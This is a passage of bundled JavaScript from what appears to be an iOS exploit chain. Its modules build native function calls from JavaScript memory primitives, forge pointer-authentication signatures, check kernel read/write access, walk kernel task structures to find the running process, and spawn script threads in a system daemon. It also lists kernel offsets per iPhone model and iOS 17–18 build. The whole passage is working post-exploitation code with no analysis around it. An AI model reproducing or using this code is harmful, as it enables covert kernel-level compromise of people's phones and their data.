const buff32 = new Uint32Array(buff);
for (let i=buff32.length-1; i>=0; i--) {
foundAddr -= 0x4n;
if (buff32[i] == 0xd503237f) {
const found = foundAddr;
console.log(TAG, "Invoking found: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(found));
return found;
}
}
return 0n;
}
#callObjc(obj, selName, ...args) {
const sel = Native.callSymbol("sel_registerName", selName);
// 30s: covers slow objc/JSC bring-up inside configd (was effectively 10s)
return this.task.call(30000, "objc_msgSend", obj, sel, ...args);
}
#callObjcRetain(obj, selName, ...args) {
const ret = this.#callObjc(obj, selName, ...args);
this.#callObjc(ret, "retain");
return ret;
}
#callObjcInBackground(obj, selName, ...args) {
const performSelectorInBackground = Native.callSymbol("sel_registerName", "performSelectorInBackground:withObject:");
const sel = Native.callSymbol("sel_registerName", selName);
return this.task.call(30000, "objc_msgSend", obj, performSelectorInBackground, sel, ...args);
}
#writeCFStr(dst, str) {
const kCFStringEncodingUTF8 = 0x08000100;
this.task.writeStr(dst, str);
return this.task.call(100, "CFStringCreateWithCString", 0, dst, kCFStringEncodingUTF8);
}
#printClass(obj) {
const cl = this.#callObjc(obj, "class");
const desc = this.#callObjc(cl, "description");
const str = this.#callObjc(desc, "UTF8String");
this.task.read(str, Native.mem, 32);
const classDesc = Native.readString(Native.mem);
console.log(TAG, "class: " + classDesc);
}
}
/***/ }),
/***/ "./src/libs/Chain/Chain.js":
/*!*********************************!*\
!*** ./src/libs/Chain/Chain.js ***!
\*********************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ Chain)
/* harmony export */ });
/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js");
const TAG = "CHAIN"
class Chain
{
static #driver;
static #mutex;
static init(driver, mutex=null)
{
this.#driver = driver;
this.#mutex = mutex;
}
static destroy()
{
this.#driver.destroy();
}
static runPE()
{
return this.#driver.runPE();
}
static getKernelBase()
{
return this.#driver.getKernelBase();
}
static getSelfTaskAddr()
{
return this.#driver.getSelfTaskAddr();
}
static read(srcAddr, dst, len)
{
this.#mutexLock();
let ret = this.#driver.read(srcAddr, dst, len);
this.#mutexUnlock();
return ret;
}
static write(dst, src, len)
{
this.#mutexLock();
let ret = this.#driver.write(dst, src, len);
this.#mutexUnlock();
return ret;
}
static readBuff(srcAddr, len)
{
if (!this.read(srcAddr, Native.mem, len))
return false;
return Native.read(Native.mem, len);
}
static read8(src)
{
this.read(src, Native.mem, 1);
return Native.read8(Native.mem);
}
static read16(src)
{
this.read(src, Native.mem, 2);
return Native.read16(Native.mem);
}
static read32(src)
{
this.read(src, Native.mem, 4);
return Native.read32(Native.mem);
}
static read64(src)
{
this.read(src, Native.mem, 8);
return Native.read64(Native.mem);
}
static write8(dst, value)
{
Native.write8(Native.mem, value);
this.write(dst, Native.mem, 1);
}
static write16(dst, value)
{
Native.write16(Native.mem, value);
this.write(dst, Native.mem, 2);
}
static write32(dst, value)
{
Native.write32(Native.mem, value);
this.write(dst, Native.mem, 4);
}
static write64(dst, value)
{
Native.write64(Native.mem, value);
this.write(dst, Native.mem, 8);
}
static offsets()
{
return this.#driver.offsets();
}
static strip(val)
{
return this.#driver.strip(val);
}
static writeZoneElement(dstAddr,src,len)
{
return this.#driver.writeZoneElement(dstAddr, src, len);
}
static getPaciaGadget()
{
return this.#driver.getPaciaGadget();
}
static getClearPaciaGadget()
{
return this.#driver.getClearPaciaGadget();
}
static transferRW()
{
let rwCtx = this.#driver.transferRW();
let controlSocket = rwCtx.controlSocket;
let rwSocket = rwCtx.rwSocket;
console.log(TAG, "controlSocket: " + controlSocket);
console.log(TAG, "rwSocket: " + rwSocket);
let portPtr = Native.mem;
Native.callSymbol("fileport_makeport", controlSocket, portPtr);
let controlPort = Native.read32(portPtr);
Native.callSymbol("fileport_makeport", rwSocket, portPtr);
let rwPort = Native.read32(portPtr);
return {
controlPort: controlPort,
rwPort: rwPort,
controlSocket: controlSocket,
rwSocket: rwSocket
};
}
static threadSpawn(scriptCFString, threadMem) {
this.#driver.threadSpawn(scriptCFString, threadMem);
}
static testKRW() {
console.log(TAG, "Testing KRW");
console.log(TAG, "- kernelBase: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(this.getKernelBase()));
console.log(TAG, "- PACIA gadget: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(this.getPaciaGadget()));
console.log(TAG, "- Read kernel magic (4 bytes)");
let buff = this.readBuff(this.getKernelBase(), 4);
if (!buff) {
console.log(TAG, "kernel RW not working!");
return false;
}
let buff32 = new Uint32Array(buff);
console.log(TAG, `- Magic: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(buff32[0])}`);
if (buff32[0] != 0xfeedfacf) {
console.log(TAG, "Invalid magic!");
return false;
}
return true;
}
static #mutexLock() {
if (this.#mutex)
Native.callSymbol("pthread_mutex_lock", this.#mutex);
}
static #mutexUnlock() {
if (this.#mutex)
Native.callSymbol("pthread_mutex_unlock", this.#mutex);
}
}
/***/ }),
/***/ "./src/libs/Chain/Native.js":
/*!**********************************!*\
!*** ./src/libs/Chain/Native.js ***!
\**********************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ Native)
/* harmony export */ });
const RTLD_DEFAULT = 0xFFFFFFFFFFFFFFFEn;
class Native {
// Preallocated memory chunk for general purpose stuff for public use
static mem = 0n;
static memSize = 0x4000;
// Preallocated memory chunk for encoding/decoding of string arguments
static #argMem = 0n;
// Pointer to next available memory for native argument
static #argPtr = 0n;
static {
this.mem = this.callSymbol("malloc", this.memSize);
this.#argMem = this.callSymbol("malloc", 0x1000n);
this.#argPtr = this.#argMem;
}
static write(ptr, buff) {
let buffPtr = read64(read64(addrof(buff) + 0x10n) + 0x10n);
this.callSymbol("memcpy", ptr, buffPtr, buff.byteLength);
}
static write32(ptr, value) {
let buffWrite = new ArrayBuffer(4);
const view = new DataView(buffWrite);
view.setUint32(0, value, true);
this.write(ptr, buffWrite);
}
static read(ptr, length) {
let buffRes = new ArrayBuffer(length);
let buffPtr = read64(read64(addrof(buffRes) + 0x10n) + 0x10n);
this.callSymbol("memcpy", buffPtr, ptr, length);
return buffRes;
}
static read8(ptr) {
let buff = this.read(ptr, 1);
const view = new DataView(buff);
return view.getUint8(0);
}
static read16(ptr) {
let buff = this.read(ptr, 2);
const view = new DataView(buff);
return view.getUint16(0, true);
}
static read32(ptr) {
let buff = this.read(ptr, 4);
const view = new DataView(buff);
return view.getUint32(0, true);
}
static read64(ptr) {
let buff = this.read(ptr, 8);
const view = new DataView(buff);
return view.getBigUint64(0, true);
}
static readPtr(ptr) {
return this.read64(ptr);
}
static readString(ptr, len=1024) {
let buff = this.read(ptr, len);
return this.bytesToString(buff, false);
}
static write8(ptr, value) {
let buffWrite = new ArrayBuffer(1);
const view = new DataView(buffWrite);
view.setUint8(0, value);
this.write(ptr, buffWrite);
}
static write16(ptr, value) {
let buffWrite = new ArrayBuffer(2);
const view = new DataView(buffWrite);
view.setUint16(0, value, true);
this.write(ptr, buffWrite);
}
static write32(ptr, value) {
let buffWrite = new ArrayBuffer(4);
const view = new DataView(buffWrite);
view.setUint32(0, value, true);
this.write(ptr, buffWrite);
}
static write64(ptr, value) {
let buffWrite = new ArrayBuffer(8);
const view = new DataView(buffWrite);
view.setBigUint64(0, value, true);
this.write(ptr, buffWrite);
}
static writeString(ptr, str) {
//const buff = this.stringToBytes(str, true);
//this.write(ptr, buff);
this.callSymbol("memcpy", ptr, str, str.length + 1);
}
static getCString(str) {
return get_cstring(str);
}
static #prepareArg(arg) {
if(!arg)
arg = 0n;
if(typeof(arg) === "string")
return get_cstring(arg);
return BigInt(arg);
}
static strip(address) {
return address & 0x7fffffffffn;
}
static pacia(address, modifier) {
address = Native.strip(address);
//console.log(TAG,`address:${Utils.hex(address)}, modifier:${Utils.hex(modifier)}`);
let signedAddress = pacia(address, BigInt(modifier));
//console.log(TAG,`signedAddress:${Utils.hex(signedAddress)}`);
return signedAddress;
}
static dlsym(name) {
return Native.callSymbol("dlsym", RTLD_DEFAULT, name);
}
static callSymbol(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) {
let funcSymbol = null;
if(name === "dlysm")
funcSymbol = DLSYM;
else
funcSymbol = fcall(DLSYM,RTLD_DEFAULT,get_cstring(name));
a0 = this.#prepareArg(a0);
a1 = this.#prepareArg(a1);
a2 = this.#prepareArg(a2);
a3 = this.#prepareArg(a3);
a4 = this.#prepareArg(a4);
a5 = this.#prepareArg(a5);
a6 = this.#prepareArg(a6);
a7 = this.#prepareArg(a7);
a8 = this.#prepareArg(a8);
a9 = this.#prepareArg(a9);
a10 = this.#prepareArg(a10);
a11 = this.#prepareArg(a11);
a12 = this.#prepareArg(a12);
a13 = this.#prepareArg(a13);
a14 = this.#prepareArg(a14);
a15 = this.#prepareArg(a15);
let chosen_fcall = null;
if(typeof fcall_with_pacia !== 'undefined')
chosen_fcall = fcall_with_pacia;
else
chosen_fcall = fcall;
const ret64 = chosen_fcall(funcSymbol, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15);
if (ret64 < 0xffffffffn && ret64 > -0xffffffffn)
return Number(ret64);
if (ret64 == 0xffffffffffffffffn)
return -1;
return ret64;
}
static callSymbolRetain(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) {
return Native.callSymbol(name,a0,a1,a2,a3,a4,a5,a6,a7,a8, a9, a10, a11, a12, a13, a14, a15);
}
static bytesToString(bytes, includeNullChar=true) {
let bytes8 = new Uint8Array(bytes);
let str = "";
for (let i=0; i<bytes8.length; i++) {
if (!includeNullChar && !bytes8[i])
break;
str += String.fromCharCode(bytes8[i]);
}
return str;
}
static stringToBytes(str, nullTerminated=false) {
let buff = new ArrayBuffer(str.length + (nullTerminated ? 1 : 0));
let s8 = new Uint8Array(buff);
for (let i=0; i<str.length; i++)
s8[i] = str.charCodeAt(i);
if (nullTerminated)
s8[str.length] = 0x0;
return s8.buffer;
}
static #doNativeCall(func, name, x0, x1, x2, x3, x4, x5, x6, x7) {
// Initialize argPtr to point to general purpose memory chunk
this.#argPtr = this.#argMem;
x0 = this.#toNative(x0);
x1 = this.#toNative(x1);
x2 = this.#toNative(x2);
x3 = this.#toNative(x3);
x4 = this.#toNative(x4);
x5 = this.#toNative(x5);
x6 = this.#toNative(x6);
x7 = this.#toNative(x7);
let ret = func(name, x0, x1, x2, x3, x4, x5, x6, x7);
// Reset argPtr
this.#argPtr = this.#argMem;
return this.#fromNative(ret);
}
static #fromNative(value) {
if (!(value instanceof ArrayBuffer))
return value;
const view = new DataView(value);
return view.getBigInt64(0, true);
}
static #toNative(value) {
// Strings need to be manually written to native memory
if (typeof value === 'string') {
let ptr = this.#argPtr;
this.writeString(ptr, value);
this.#argPtr += BigInt(value.length + 1);
return this.#bigIntToArray(ptr);
}
else if (typeof value === 'bigint') {
return this.#bigIntToArray(value);
}
else
return value;
}
static #bigIntToArray(value) {
let a = new Uint8Array(8);
for (let i=0; i<8; i++) {
a[i] = Number(value & 0xffn)
value >>= 8n;
}
return a.buffer;
}
static gc() {
}
}
// Register global Native class
globalThis.Native = Native;
/***/ }),
/***/ "./src/libs/Chain/OffsetsStruct.js":
/*!*****************************************!*\
!*** ./src/libs/Chain/OffsetsStruct.js ***!
\*****************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ OffsetsStruct)
/* harmony export */ });
const OFFSET_KERNEL_BASE = 0xfffffff007004000n
//const OFFSET_KERNEL_TASK = 0x925770n // iOS 17.5.1 - iPhone 13/13 pro max
//const OFFSET_KERNEL_TASK 0x91d318 // iOS 17.4.1 - iPhone 13 pro max
const OFFSET_KERNEL_TASK = 0x0n
const OFFSET_TASK_MAP = 0x28n
const OFFSET_TASK_NEXT = 0x30n
const OFFSET_TASK_PREV = 0x38n
const OFFSET_TASK_THREADS = 0x58n
const OFFSET_TASK_IPC_SPACE = 0x300n
const OFFSET_TASK_PROC_RO = 0x3a0n
const OFFSET_TASK_PROC_SIZE = 0x740n // iOS 17.5.1
const OFFSET_TASK_EXC_GUARD = 0x5d4n
const OFFSET_IPC_SPACE_TABLE = 0x20n
const OFFSET_IPC_ENTRY_OBJECT = 0x0n
const OFFSET_IPC_OBJECT_KOBJECT = 0x48n
const OFFSET_IPC_PORT_IP_NSREQUEST = 0x58n
const OFFSET_IPC_PORT_IP_SORIGHTS = 0x84n
const OFFSET_PROC_PID = 0x60n
const OFFSET_PROC_P_COMM = 0x568n
const OFFSET_THREAD_OPTIONS = 0x70n
const OFFSET_THREAD_KSTACKPTR = 0xf0n
const OFFSET_THREAD_ROP_PID = 0x160n
const OFFSET_THREAD_JOP_PID = 0x168n
const OFFSET_THREAD_GUARD_EXC_CODE = 0x330n
const OFFSET_THREAD_TASK_THREADS = 0x370n
const OFFSET_THREAD_TRO = 0x380n
const OFFSET_THREAD_AST = 0x3a4n
const OFFSET_THREAD_MUTEX_DATA = 0x3b0n
const OFFSET_THREAD_CTID = 0x430n
const OFFSET_TRO_TASK = 0x20n
const OFFSET_VM_HDR_RBH_ROOT = 0x38n
const OFFSET_VM_RBE_LEFT = 0x0n
const OFFSET_VM_RBE_RIGHT = 0x8n
const OFFSET_VM_OBJECT_VOU_SIZE = 0x18n
const OFFSET_VM_OBJECT_REF_COUNT = 0x28n
const OFFSET_VM_NAMED_ENTRY_COPY = 0x10n
const OFFSET_VM_NAMED_ENTRY_NEXT = 0x20n
const OFFSET_MIG_LOCK = 0x0n;
const OFFSET_MIG_SBXMSG = 0x0n;
class OffsetsStruct
{
constructor() {
this.baseKernel = OFFSET_KERNEL_BASE;
this.kernelTask = OFFSET_KERNEL_TASK;
this.T1SZ_BOOT = 17n;
this.mapTask = OFFSET_TASK_MAP;
this.nextTask = OFFSET_TASK_NEXT;
this.prevTask = OFFSET_TASK_PREV;
this.threads = OFFSET_TASK_THREADS;
this.ipcSpace = OFFSET_TASK_IPC_SPACE;
this.procRO = OFFSET_TASK_PROC_RO;
this.procSize = OFFSET_TASK_PROC_SIZE;
this.excGuard = OFFSET_TASK_EXC_GUARD;
this.spaceTable = OFFSET_IPC_SPACE_TABLE;
this.entryObject = OFFSET_IPC_ENTRY_OBJECT;
this.objectKObject = OFFSET_IPC_OBJECT_KOBJECT;
this.ipNsRequest = OFFSET_IPC_PORT_IP_NSREQUEST;
this.ipSorights = OFFSET_IPC_PORT_IP_SORIGHTS;
this.pid = OFFSET_PROC_PID;
this.pComm = OFFSET_PROC_P_COMM;
this.options = OFFSET_THREAD_OPTIONS;
this.kstackptr = OFFSET_THREAD_KSTACKPTR;
this.ropPid = OFFSET_THREAD_ROP_PID;
this.jopPid = OFFSET_THREAD_JOP_PID;
this.guardExcCode = OFFSET_THREAD_GUARD_EXC_CODE;
this.taskThreads = OFFSET_THREAD_TASK_THREADS;
this.tro = OFFSET_THREAD_TRO;
this.ast = OFFSET_THREAD_AST;
this.mutexData = OFFSET_THREAD_MUTEX_DATA;
this.ctid = OFFSET_THREAD_CTID;
this.troTask = OFFSET_TRO_TASK;
this.hdrRBHRoot = OFFSET_VM_HDR_RBH_ROOT;
this.rbeLeft = OFFSET_VM_RBE_LEFT;
this.rbeRight = OFFSET_VM_RBE_RIGHT;
this.vouSize = OFFSET_VM_OBJECT_VOU_SIZE;
this.refCount = OFFSET_VM_OBJECT_REF_COUNT;
this.backingCopy = OFFSET_VM_NAMED_ENTRY_COPY;
this.next = OFFSET_VM_NAMED_ENTRY_NEXT;
this.migLock = OFFSET_MIG_LOCK;
this.migSbxMsg = OFFSET_MIG_SBXMSG;
}
}
/***/ }),
/***/ "./src/libs/Driver/Driver.js":
/*!***********************************!*\
!*** ./src/libs/Driver/Driver.js ***!
\***********************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ DriverPostExpl)
/* harmony export */ });
/* harmony import */ var _Offsets__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./Offsets */ "./src/libs/Driver/Offsets.js");
/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js");
/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js");
const TAG = "DRIVER-POSTEXPL"
class DriverPostExpl
{
#offsets;
#kernelBase;
constructor() {
this.#offsets = _Offsets__WEBPACK_IMPORTED_MODULE_0__["default"].getByDeviceAndVersion();
}
runPE() {
console.log(TAG, `runPE()`);
if (!this.#offsets) {
console.log(TAG, `Offsets were not obtained, aborting`);
return false;
}
/*
let baseKernel = startSandworm();
if (baseKernel == -1)
return false;
*/
this.#kernelBase = mpd_kernel_base();
return true;
}
getPaciaGadget() {
return mpd_pacia_gadget();
}
getKernelBase() {
return this.#kernelBase;
}
getSelfTaskAddr() {
console.log(TAG, `getSelfTaskAddr`);
let selfTaskKaddr = 0;
for (let i=0; i<5; i++)
{
selfTaskKaddr = this.#findSelfTaskKaddr(true);
if (!selfTaskKaddr)
{
console.log(TAG, `Searching the other way around`);
selfTaskKaddr = this.#findSelfTaskKaddr(false);
}
else
break;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep",20000);
}
return selfTaskKaddr;
}
#findSelfTaskKaddr(direction) {
let kernelTaskAddr = this.#kernelBase + this.#offsets.kernelTask;
console.log(TAG, `baseKernel: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(this.#kernelBase)}, kernelTask: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(kernelTaskAddr)}`);
let kernelTaskVal = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
this.read(kernelTaskAddr, kernelTaskVal, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE);
kernelTaskVal = uread64(kernelTaskVal);
//console.log(TAG,`kernelTaskval:${kernelTaskVal}`);
kernelTaskVal = BigInt(kernelTaskVal);
//console.log(TAG,`kernelTaskval:${Utils.hex(kernelTaskVal)}`);
let ourPid = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("getpid");
console.log(TAG, `Our pid:${ourPid}`);
let nextTask = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n;
if (direction)
this.read(kernelTaskVal + this.#offsets.nextTask, nextTask, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE);
else
this.read(kernelTaskVal + this.#offsets.prevTask, nextTask, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE);
nextTask = uread64(nextTask);
//console.log(TAG,`nextTask:${Utils.hex(nextTask)}`);
while (nextTask != 0 && nextTask != kernelTaskVal) {
let procROAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
this.read(nextTask + this.#offsets.procRO, procROAddr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE);
procROAddr = uread64(procROAddr);
//console.log(TAG,`procROAddr:${Utils.hex(procROAddr)}`);
let procVal = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
this.read(procROAddr, procVal, 8);
procVal = BigInt(uread64(procVal));
//console.log(TAG,`procVal:${Utils.hex(procVal)}`);
if (procVal && this.strip(procVal) > 0xffffffd000000000n) {
let pid = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
this.read(procVal + this.#offsets.pid, pid, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE);
let buffRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(pid, 4);
let view = new DataView(buffRes);
pid = view.getUint32(0,true);
//console.log(TAG,`pid:${Utils.hex(pid)}`);
if (pid == ourPid) {
console.log(TAG, `Found our pid`);
return nextTask;
}
let nextTaskLocation = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
if (direction)
this.read(nextTask + this.#offsets.nextTask, nextTaskLocation, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE);
else
this.read(nextTask + this.#offsets.prevTask, nextTaskLocation, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE);
nextTask = uread64(nextTaskLocation);
}
else
break;
}
return false;
}
read(srcAddr, dst, len) {
srcAddr = this.strip(srcAddr);
if (srcAddr < 0xffffffd000000000n) {
console.log(TAG, `Invalid kaddr, cannot read: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(srcAddr)}`);
return false;
}
kread_length(srcAddr,dst, len);
return true;
}
write(dst, src, len) {
let dstAddr = this.strip(dst);
if (dstAddr < 0xffffffd000000000n) {
console.log(TAG, `Invalid kaddr, cannot write:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(dstAddr)}`);
return false;
}
kwrite_length(dst, src, len);
return true;
}
writeZoneElement(dstAddr, src, len) {
return kwrite_zone_element(dstAddr, src, len);
}
offsets() {
return this.#offsets;
}
strip(val) {
return xpac(val);
}
transferRW() {
return {
controlSocket: mpd_control_socket(),
rwSocket: mpd_rw_socket()
};
}
threadSpawn(scriptCFString, threadMem) {
mpd_js_thread_spawn(scriptCFString, threadMem, true);
}
}
/***/ }),
/***/ "./src/libs/Driver/Offsets.js":
/*!************************************!*\
!*** ./src/libs/Driver/Offsets.js ***!
\************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ Offsets)
/* harmony export */ });
/* harmony import */ var libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/OffsetsStruct */ "./src/libs/Chain/OffsetsStruct.js");
/* harmony import */ var _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./OffsetsTable */ "./src/libs/Driver/OffsetsTable.js");
const TAG = "OFFSETS"
class Offsets
{
static getByDeviceAndVersion()
{
Native.callSymbol("uname", Native.mem);
const sysname = Native.readString(Native.mem, 0x100);
const nodename = Native.readString(Native.mem + 0x100n, 0x100);
const release = Native.readString(Native.mem + 0x200n, 0x100);
const version = Native.readString(Native.mem + 0x300n, 0x100);
const machine = Native.readString(Native.mem + 0x400n, 0x100);
console.log(TAG, `release: ${release} with machine: ${machine}`);
const buildVer = this.getBuildVersion();
console.log(TAG, "Build version: " + buildVer);
let splittedVersion = release.split(".");
let xnuMajor = splittedVersion[0];
let xnuMinor = splittedVersion[1];
let splittedMachine = machine.split(",");
let deviceFamily = splittedMachine[0];
let deviceModel = splittedMachine[1];
console.log(TAG, "deviceFamily: " + deviceFamily);
// Ugly hack to support 17.7, 17.7.1 and 17.7.2
if (buildVer) {
if (buildVer == "21H16")
xnuMinor = 6.1;
else if (buildVer == "21H216")
xnuMinor = 6.2;
else if (buildVer == "21H221")
xnuMinor = 6.3;
}
// Get offsets per device family
let deviceOffsets = _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__.offsets[deviceFamily];
if (!deviceOffsets) {
console.log(TAG, `Unsupported machine: ${machine}`);
return null;
}
let familyOffsets = deviceOffsets["*"];
let foundFamilyOffsets = this.#getOffsetsByVersion(familyOffsets, xnuMajor, xnuMinor);
if (!foundFamilyOffsets)
return null;
// Adjustments per device model
let modelOffsets = deviceOffsets[deviceModel];
let foundModelOffsets = null;
if (modelOffsets)
foundModelOffsets = this.#getOffsetsByVersion(modelOffsets, xnuMajor, xnuMinor);
// Merge family offsets and device offsets
let foundOffsets = new libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__["default"]();
Object.assign(foundOffsets, foundFamilyOffsets);
if (foundModelOffsets)
Object.assign(foundOffsets, foundModelOffsets);
if (["iPhone15", "iPhone16", "iPhone17"].includes(deviceFamily))
foundOffsets.T1SZ_BOOT = 17n;
else
foundOffsets.T1SZ_BOOT = 25n;
console.log(TAG, "Offsets: " + JSON.stringify(foundOffsets, (_,v) => typeof v === 'bigint' ? "0x"+v.toString(16) : v, 2));
return foundOffsets;
}
static #getOffsetsByVersion(offsets, xnuMajor, xnuMinor) {
let xnuMajorOffsets = 0;
for (let major in offsets) {
if (xnuMajor < major)
continue;
if (xnuMajorOffsets < major)
xnuMajorOffsets = major;
}
if (!xnuMajorOffsets) {
console.log(TAG, "Unsupported XNU major: " + xnuMajor);
return null;
}
//console.log(TAG, "Matching XNU major: " + xnuMajorOffsets);
xnuMajorOffsets = offsets[xnuMajorOffsets];
let foundOffsets = {};
let xnuMinorOffsets = -1;
const sortedMinors = Object.keys(xnuMajorOffsets).sort();
for (let minor of sortedMinors) {
//console.log(TAG, `minor: ${minor}, xnuMinor: ${xnuMinor}`);
if (minor > xnuMinor)
break;
if (xnuMinorOffsets < minor) {
xnuMinorOffsets = minor;
Object.assign(foundOffsets, xnuMajorOffsets[minor]);
}
}
//console.log(TAG, "Matching XNU minor: " + xnuMinorOffsets);
return foundOffsets;
}
static getBuildVersion() {
const CTL_KERN = 1;
const KERN_OSVERSION = 65;
const mib = new ArrayBuffer(4 * 2);
const mibView = new DataView(mib);
mibView.setInt32(0, CTL_KERN, true);
mibView.setInt32(4, KERN_OSVERSION, true);
const mibAddr = Native.mem;
const resultAddr = Native.mem + 0x100n;
const lengthAddr = Native.mem + 0x200n;
Native.write(Native.mem, mib);
let ret = Native.callSymbol("sysctl", mibAddr, 2, resultAddr, lengthAddr, null, 0);
if (ret != 0) {
console.log(TAG, "Unable to get iOS build version");
return null;
}
const length = Native.read32(lengthAddr);
const buildVer = Native.readString(resultAddr, length);
return buildVer;
}
}
/***/ }),
/***/ "./src/libs/Driver/OffsetsTable.js":
/*!*****************************************!*\
!*** ./src/libs/Driver/OffsetsTable.js ***!
\*****************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ offsets: () => (/* binding */ offsets)
/* harmony export */ });
const offsets = {
// iPhone XS
// iPhone XS Max
// iPhone XS Max Global
// iPhone XR
"iPhone11": {
"*": {
23: {
0: {
pComm: 0x568n,
excGuard: 0x5bcn,
kstackptr: 0xe8n,
ropPid: 0x150n,
jopPid: 0x158n,
guardExcCode: 0x308n,
taskThreads: 0x348n,
tro: 0x358n,
ast: 0x37cn,
mutexData: 0x380n,
ctid: 0x408n,
troTask: 0x20n
},
3: {
kernelTask: 0x918210n,
guardExcCode: 0x318n,
taskThreads: 0x358n,
tro: 0x368n,
ast: 0x38cn,
mutexData: 0x398n,
ctid: 0x418n
},
4: {
kernelTask: 0x91c638n,
pComm: 0x56cn,
troTask: 0x28n,
guardExcCode: 0x320n,
taskThreads: 0x360n,
tro: 0x370n,
ast: 0x394n,
mutexData: 0x3a0n,
ctid: 0x420n,
procRO: 0x388n
},
5: {
kernelTask: 0x920a90n
},
6: {
kernelTask: 0x9209f0n
},
6.1: {
kernelTask: 0x920a40n
}
},
24: {
0: {
kernelTask: 0x9f1548n,
pComm: 0x56cn,
procRO: 0x3a0n,
ipcSpace: 0x318n,
troTask: 0x28n,
excGuard: 0x5dcn,
kstackptr: 0xf0n,
ropPid: 0x158n,
jopPid: 0x160n,
guardExcCode: 0x320n,
taskThreads: 0x370n,
tro: 0x378n,
ast: 0x39cn,
mutexData: 0x3a8n,
ctid: 0x428n
},
1: {
kernelTask: 0x9f1560n,
taskThreads: 0x368n,
tro: 0x370n,
ast: 0x394n,
mutexData: 0x3a0n,
ctid: 0x420n
},
2: {
kernelTask: 0x9fd988n,
},
3: {
kernelTask: 0x9f5988n
},
4: {
kernelTask: 0xa62b50n,
procRO: 0x3c0n,
excGuard: 0x5fcn,
taskThreads: 0x370n,
tro: 0x378n,
ast: 0x39cn,
mutexData: 0x3a8n,
ctid: 0x428n
},
5: {
kernelTask: 0xa6ac38n
},
6: {
kernelTask: 0xa6ad48n,
guardExcCode: 0x328n,
taskThreads: 0x378n,
tro: 0x380n,
ast: 0x3a4n,
mutexData: 0x3b0n,
ctid: 0x430n,
migLock: 0x36971f0n,
migSbxMsg: 0x3697210n,
migKernelStackLR: 0x2f7c1a0n,
}
}
},
"8": {
23: {
4: {
kernelTask: 0x8fc638n
},
5: {
kernelTask: 0x900a90n
},
6: {
kernelTask: 0x9009f0n
},
6.1: {
kernelTask: 0x900a40n
}
},
24: {
0: {
kernelTask: 0x9d1548n
},
1: {
kernelTask: 0x9d1560n,
},
2: {
kernelTask: 0x9d9988n
},
3: {
kernelTask: 0x9d1988n
},
4: {
